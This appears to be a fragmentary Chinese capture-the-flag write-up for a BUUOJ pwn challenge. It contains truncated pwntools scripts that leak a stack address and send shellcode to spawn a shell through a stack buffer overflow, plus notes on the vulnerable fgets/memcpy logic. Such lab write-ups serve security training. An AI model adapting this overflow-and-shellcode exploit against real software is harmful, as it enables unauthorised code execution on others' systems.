附件 目录
from pwn import * #context(arch='i386', os='linux', log_level='debug') io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB#io = connect('node5.buuoj.cn',29907 ) # 与在线环境交互。 offset = 0x16 + 0x04 - 0x08 vuln_addr = 0x08048603 elf = ELF("./pwn") io.recvuntil(b'Yippie, lets crash: ') s_addr =...
from pwn import * context(arch='i386', os='linux', log_level='debug') io = connect('node5.buuoj.cn',25977 ) offset = 0x16 + 0x04 - 0x08 vuln_addr = 0x08048603 elf = ELF("./pwn") io.recvuntil(b'Yippie, lets crash: ') s_addr = int(io.recvline().strip(),16) print(hex(s_addr)) shellcode=asm(shellcraft.sh()) io.recvline()...
我们输入的是s chall函数里有这么一段,s要包含crashme就能通过这里的的判断。 fgets(s, 1023, stdin); n = strlen(s); v3 = memchr(s, 10, n); if ( v3 ) *v3 = 0; printf("\nWelcome %s!\n", s); 寻找‘/n’,memchr是从s开始在往后n个字节里寻找‘/n’,将‘/n’替换成‘/0’。n是输入的s的字符数。这个操作就是删掉所有的‘/n’,替换成‘/0’。 后续将0x400的字符传入vuln 再将传入的字符复制到dest中。dest的大小是0x32 这里可以构造栈溢出。 文件里有printf,可以用这个进行...